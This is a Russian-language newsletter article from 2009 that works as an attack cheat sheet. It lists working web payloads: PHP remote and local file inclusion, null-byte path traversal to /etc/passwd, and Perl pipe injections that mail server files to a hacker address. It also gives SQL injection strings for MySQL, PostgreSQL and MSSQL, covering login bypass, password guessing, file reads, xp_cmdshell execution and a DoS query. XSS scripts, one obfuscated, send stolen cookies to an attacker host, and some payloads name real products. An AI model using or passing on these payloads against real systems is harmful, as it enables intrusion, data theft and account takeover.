Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Секреты Windows: статьи о реестре, rundll32.exe, программах


Примеры PHP, Perl, XSS и SQL-уязвимостей
Дата: 7 июня 2009, воскресенье

У вас возникли вопросы по Windows? Задайте их нам на Форуме (http://www.onestyle.com.ua/q.php). Вам достаточно просто зарегистрироваться!

В конец записи

PHP и Perl-инъекции

PHP source code injection Уязвимость, которая позволяет хакеру выполнить произвольный код на языке PHP. Заключается она в недостаточной проверке значений переменных, которые передаются пользователем через GET, POST или COOKIE параметры, и используются внутри функций наподобие include() и require().

Local PHP source code injection Данная уязвимость является разновидностью уязвимости PHP source code injection. Она позволяет выполнять в качестве PHP-сценария любой файл, размещенный на локальном сервере. Данная уязвимость позволяет работать с файлами по протоколам HTTP и FTP. Заключается она в недостаточной проверке значений переменных, которые передаются пользователем через GET, POST или COOKIE параметры, и используются внутри функций наподобие include() и require().

Global PHP source code injection Данная уязвимость является разновидностью уязвимости PHP source code injection. Она отличается тем, что позволяет выполнять произвольный код, размещенный на сторонних серверах в Интернете (загружать и обрабатывать содержимое HTML-страниц и т.п.). Данная уязвимость позволяет работать с файлами по протоколам HTTP и FTP. Заключается она в недостаточной проверке значений переменных, которые передаются пользователем через GET, POST или COOKIE параметры, и используются внутри функций наподобие include() и require().

http://www.example.com/path.php?page=http://hack.ru/?
Выполняет внедрение исходного кода страницы сайта http://hack.ru в структуру атакованной страницы. При этом исходный код страницы http://hack.ru перед внедрением будет выполнен PHP-интерпретатором. То есть, если страница будет содержать код <?php echo "test" ?>, тогда он выполнится и на атакованной странице будет выведено сообщение "test".

Данная атака возможна, если значение GET-переменной page передается оператору наподобие include без проверки. Например, include("$page.php").

http://www.example.com/path.php?file=test.txt%00
Позволяет отбросить текст, который находится справа от нулевого символа (%00). И, тем самым, получить доступ к содержимому любого файла на сервере. Классический пример: http://www.example.com/path.php?file=./../../../../../../etc/passwd%00.

Данная атака возможна, если значение GET-переменной file передается оператору наподобие include без проверки. Например, include("./$file/mypage.php").

http://www.example.com/path.php?file=notexists/../../../passwd%00
Позволяет получить доступ к содержимому любого файла на сервере с файловой системой FAT или NTFS.

Данная атака применяется, если значение GET-переменной file передается оператору наподобие include без проверки, и при этом перед тем местом, куда вставляется значение параметра, уже написана часть имени файла. Например, include("./data/file-$file/mypage.php").

http://www.example.com/path.php?num=5&mymass[5]=./../../../../../../etc/passwd%00
Позволяет получить доступ к содержимому любого файла на сервере.

Данная атака возможна, если в массиве mymass хранятся пути к файлам, которые должны быть загружены сайтом, и при этом массив перед инициализацией не удаляется, и разрешена автоматическая регистрация GET и POST данных как обычных переменных.

http://www.example.com/path.cgi?page=|команда
Позволяет выполнить любую системную команду на сервере.

Данная атака возможна, если в Perl значение GET-переменной page передается без фильтрации в функцию open. Примеры применения:

  • ?page=|echo+текст - вывести в стандартный вывод (на страницу) указанный текст
  • ?page=|date+/T - вывести текущую дату
  • ?page=|ping+сайт - проверить ширину канала сервера
  • ?page=|ls+-la|sendmail+hacker@email.ru - послать вывод команды "ls -la" на указанный адрес email.
  • ?page=|cat+/etc/passwd|sendmail+hacker@email.ru - послать содержимое файла на указанный адрес email.

http://www.example.com/path.cgi?page=>./файл.
Позволяет создать на сервере файл с произвольным содержимым, или заменить содержимое уже существующего файла.

Данная атака возможна, если в Perl значение GET-переменной page передается без фильтрации в функцию open. Например, http://www.example.com/path.cgi?page=|echo+привет+>+myfile.txt

SQL-инъекции

SQL source code injection Уязвимость, позволяющая злонамеренному пользователю внедрять произвольные данные в SQL-запросы, тем самым, выполняя свои SQL-запросы в базе локального сервера. Данная уязвимость возможна из-за недостаточной фильтрации GET, POST и COOKIE-параметров, которые в дальнейшем используются для формирования SQL-запросов.

MySQL

http://www.example.com/sql.php?param=666'+инъекция/*
Позволяет отбросить текст SQL-запроса, который находится справа от места, в котором возможна SQL-инъекция.

Данная возможность применяется довольно часто, хотя бы для того, чтобы отбросить кавычку, которую мы закрываем в тексте инъекции.

http://www.example.com/sql.php?param=666'+инъекция%00
Позволяет отбросить текст SQL-запроса, который находится справа от места, в котором возможна SQL-инъекция.

Данная возможность применяется довольно часто, хотя бы для того, чтобы отбросить кавычку, которую мы закрываем в тексте инъекции. Она возможна только в том случае, если значение GET-переменной param не экранируется функцией addslashes (так как данная функция экранирует символ конца строки).

http://www.example.com/sql.php?param=666'+инъекция/*!версия+продолжение_инъекции*/
Позволяет определить версию сервера MySQL. Код между /*!версия и */ будет выполнен только в том случае, если версия сервера MySQL больше или равна указанной. Например: http://www.example.com/sql.php?param=666'+/*!40020+and+0+*/.
http://www.example.com/sql.php?param=666+and+version()+like+'5%'
Позволяет определить версию сервера MySQL.
http://www.example.com/sql.php?param=666+and+version()+>=+'5'
Позволяет определить версию сервера MySQL.
http://www.example.com/sql.php?param=666+union+select+null,null
Позволяет определить количество полей в запросе, а также выполнить второй запрос на сервере. Количество полей в запросе можно определить потому, что второй запрос (после union) должен иметь такое же количество полей. Примеры:
  • ?param=666+union+select+2,3,user+from+mysql.user
  • ?param=666+union+select+2,3,user+from+mysql.user+limit+2,1
http://www.example.com/sql.php?param=666+union+select+null,benchmark(1000000,benchmark(1000000,md5(current_time)))
Позволяет выполнить DOS-атаку на сервер.
http://www.example.com/sql.php?pass=666'+or+1=1/*
Позволяет пройти аутентификацию на сервере даже не зная пароля. Вы будете аутентифицированы как первый пользователь в базе.

Атака возможна только в том случае, если GET-параметр pass не шифруется и никак не преобразуется.

http://www.example.com/sql.php?login=666'+or+1=1/*
Позволяет пройти аутентификацию на сервере даже не зная пароля. Вы будете аутентифицированы как первый пользователь в базе.

Атака возможна при недостаточной фильтрации логина. Примеры использования атаки:

  • admin' or 1=1/* - атака на программу Kim Websites 1.0
http://www.example.com/sql.php?pass=666'+or+1+limit+2,1/*
Позволяет пройти аутентификацию на сервере даже не зная пароля. Вы будете аутентифицированы как второй пользователь в базе.

Атака возможна только в том случае, если GET-параметр pass не шифруется и никак не преобразуется.

http://www.example.com/sql.php?pass=666'/**/or/**/1/*
Позволяет выполнить инъекцию даже если пробелы в запросе фильтруются. Так как конструкция /**/ практически во всех языках может заменить пробел.
http://www.example.com/sql.php?pass=666'+or+pass+like+'a%'/*
Позволяет подобрать пароль к учетной записи на сервере. Пароль будет подбираться для первого пользователя в базе.

Атака возможна только в том случае, если GET-параметр pass не шифруется и никак не преобразуется.

http://www.example.com/sql.php?pass=666'+or+pass+>+'a'/*
Позволяет подобрать пароль к учетной записи на сервере. Пароль будет подбираться для первого пользователя в базе.

Атака возможна только в том случае, если GET-параметр pass не шифруется и никак не преобразуется.

http://www.example.com/sql.php?sort=id*(pass+%3E=+'2')/*
Позволяет подобрать пароль к учетной записи на сервере на основании того, как отсортированы возвращаемые значения. Пароль будет подбираться для первого пользователя в базе.

Атака возможна только в том случае, если GET-параметр pass не шифруется и никак не преобразуется.

http://www.example.com/sql.php?param=666'+and+load_file('путь и файл')+is+not+NULL/*
Позволяет определить, существует ли файл или папка на сервере. Пример:
  • ?param=666'+and+load_file('/etc/passwd')+is+not+NULL/*

Атака возможна только если пользователю разрешено использовать load_file (есть привилегия file_priv), а файл доступен на чтение всем пользователям.

http://www.example.com/sql.php?param=666'+union+select+NULL,load_file('путь и файл')/*
Возвращает содержимое указанного файла.

Атака возможна только если пользователю разрешено использовать load_file (есть привилегия file_priv), а файл доступен на чтение всем пользователям.

http://www.example.com/sql.php?param=666'+union+select+команда+into+outfile('путь и файл')+from+база/*
Помещает результат выполнения команды в файл.
  • ?param=666'+union+select+version()+into+outfile('/tmp/222')+from+mysql.user/*

Атака возможна только если пользователю разрешено использовать load_file (есть привилегия file_priv), а файл не существует на сервере. Кроме того, внутри команды into outfile() нельзя использовать выражения (только строки).

PostgreSQL

Специфические функции, поддержка которых идентифицирует данную базу:

  • %. Остаток от деления.
  • ^. Возведение в степень.
  • |/. Квадратный корень.
  • ||/. Кубический корень.
  • !. Факториал.
  • !!. Факториал (префиксный оператор).
  • cbrt(). Кубический корень.
  • sign(). Знак числа.
  • radians(). Перевести из градусов в радианы.
  • pow(). Возведение в степень.
http://www.example.com/sql.php?param=666'+инъекция%00
Позволяет отбросить текст SQL-запроса, который находится справа от места, в котором возможна SQL-инъекция.

Данная возможность применяется довольно часто, хотя бы для того, чтобы отбросить кавычку, которую мы закрываем в тексте инъекции. Она возможна только в том случае, если значение GET-переменной param не экранируется функцией addslashes (так как данная функция экранирует символ конца строки).

http://www.example.com/sql.php?param=666;select+*+from+table
Позволяет выполнить дополнительные запросы (в браузер возвращаются результаты выполнения последнего запроса). При этом совпадение количества полей в запросах не важно.

MSSQL

http://www.example.com/sql.php?param=666'+инъекция--
Позволяет отбросить текст SQL-запроса, который находится справа от места, в котором возможна SQL-инъекция.
http://www.example.com/sql.php?param=666+union+select+null,null
Позволяет определить количество полей в запросе, а также выполнить второй запрос на сервере. Количество полей в запросе можно определить потому, что второй запрос (после union) должен иметь такое же количество полей. Примеры:
  • ?param=666+union+select+NULL,NULL,TABLE_NAME+from+INFORMATION_SCHEMA.TABLES
http://www.example.com/sql.php?param=666;+exec+master..xp_cmdshell+"команда"
Позволяет выполнить на сервере любую команду. Примеры:
  • ?param=666;+exec+master..xp_cmdshell+"ping attack.com"
http://www.example.com/sql.php?param=666'+union+select+NULL,@@version--
Позволяет отобразить версию MSSQL-сервера. Примеры атаки:
  • www.sute.com/path/news_id.php?lang=en&id=-92%20union%20select%201,2,3,@@version,5--. Инъекция в CMS WEBjump!
http://www.example.com/sql.php?param=666'+and+substring(@@version,1,1)=5--
Позволяет определить версию MSSQL-сервера. Примеры атаки:
  • macgurublog_menu/macgurublog.php?uid=1+and+substring(@@version,1,1)=5. Инъекция в e107 Plugin BLOG Engine 2.2

XSS и похищение cookies

XSS (Cross Site Scripting, межсайтовый скриптинг) Уязвимость, позволяющая злонамеренному пользователю через GET, POST и COOKIE-параметры изменять содержимое страницы по своему усмотрению. Заключается она в недостаточной фильтрации данных, которые передает пользователь, и которые в дальнейшем выводятся на сайте.

<script>data='полученные данные';document.open();document.write("<form name=ff action=http://www.attack.ru/hack.php method=post><input type=hidden name=data value='"+data+"' /></form>");document.close();document.ff.submit();</script>
Послать полученные данные методом POST на хакерский сервер, скрипту, который обработает эти данные. Один из недостатков этого метода - пользователь будет перенаправлен на страницу хакера, поэтому ему придется позаботиться о том, чтобы пользователь ни о чем не догадался.
<script>data='полученные данные';window.open('http://www.attack.ru/hack.php?data='+data);</script>
Послать полученные данные методом GET на хакерский сервер, скрипту, который обработает эти данные. Один из недостатков этого способа - открытие нового окна, из-за чего пользователь может догадаться о чем-то неладном.
<script>data='полученные данные';idata = new Image;idata.src='http://www.attack.ru/hack.php?data='+data;</script>
Послать полученные данные методом GET на хакерский сервер, скрипту, который обработает эти данные. При этом отправка данных будет выполнена полностью незаметно, без открытия дополнительных окон, и без перенаправления пользователя. Примеры:
  • idata.src='http://www.attack.ru/hack.php?data='+escape(document.cookie); - передача через изображение cookie пользователя.
<script>test=String.fromCharCode(72,101,108,108,111);document.open();document.write(String.fromCharCode( 60,100,105,118,32,115,116,121,108,101,61,118,105,115,105,98,105,108,105,116,121,58,104,105,100,100,101,110, 59,112,111,115,105,116,105,111,110,58,97,98,115,111,108,117,116,101,59,119,105,100,116,104,58,48,59,104,101, 105,103,104,116,58,48,59,62,60,105,102,114,97,109,101,32,110,97,109,101,32,110,97,109,101,61,105,102,49,62, 60,47,100,105,118,62));document.write(String.fromCharCode(60,102,111,114,109,32,110,97,109,101,61,102,49,32, 109,101,116,104,111,100,61,80,79,83,84,32,116,97,114,103,101,116,61,105,102,49,32,97,99,116,105,111,110,61, 104,116,116,112,58,47,47,119,119,119,46,97,116,97,99,107,101,114,46,114,117,47,97,116,97,99,107,101,114,46, 112,104,112,62,60,105,110,112,117,116,32,116,121,112,101,61,104,105,100,100,101,110,32,110,97,109,101,61, 100,97,116,97,32,118,97,108,117,101,61,39)+test+String.fromCharCode(39,62,60,47,102,111,114,109,62)); document.close();document.f1.submit();</script>
Отправка данных методом POST в документ, который открывается в iframe-теге, который хакер добавил на невидимый слой. Данный скрипт не содержит символов перевода строк, кавычек и пробелов.
Дополнительные примеры инъекций можно увидеть в нашей базе уязвимостей
Рейтинг: 0 
Оцените: 1 2 3 4 5
moemesto.ru bobrdobr.ru - добавить в социальные закладки
В начало записи
Оригинал статьи: http://www.onestyle.com.ua/txt.php?u=547

В избранное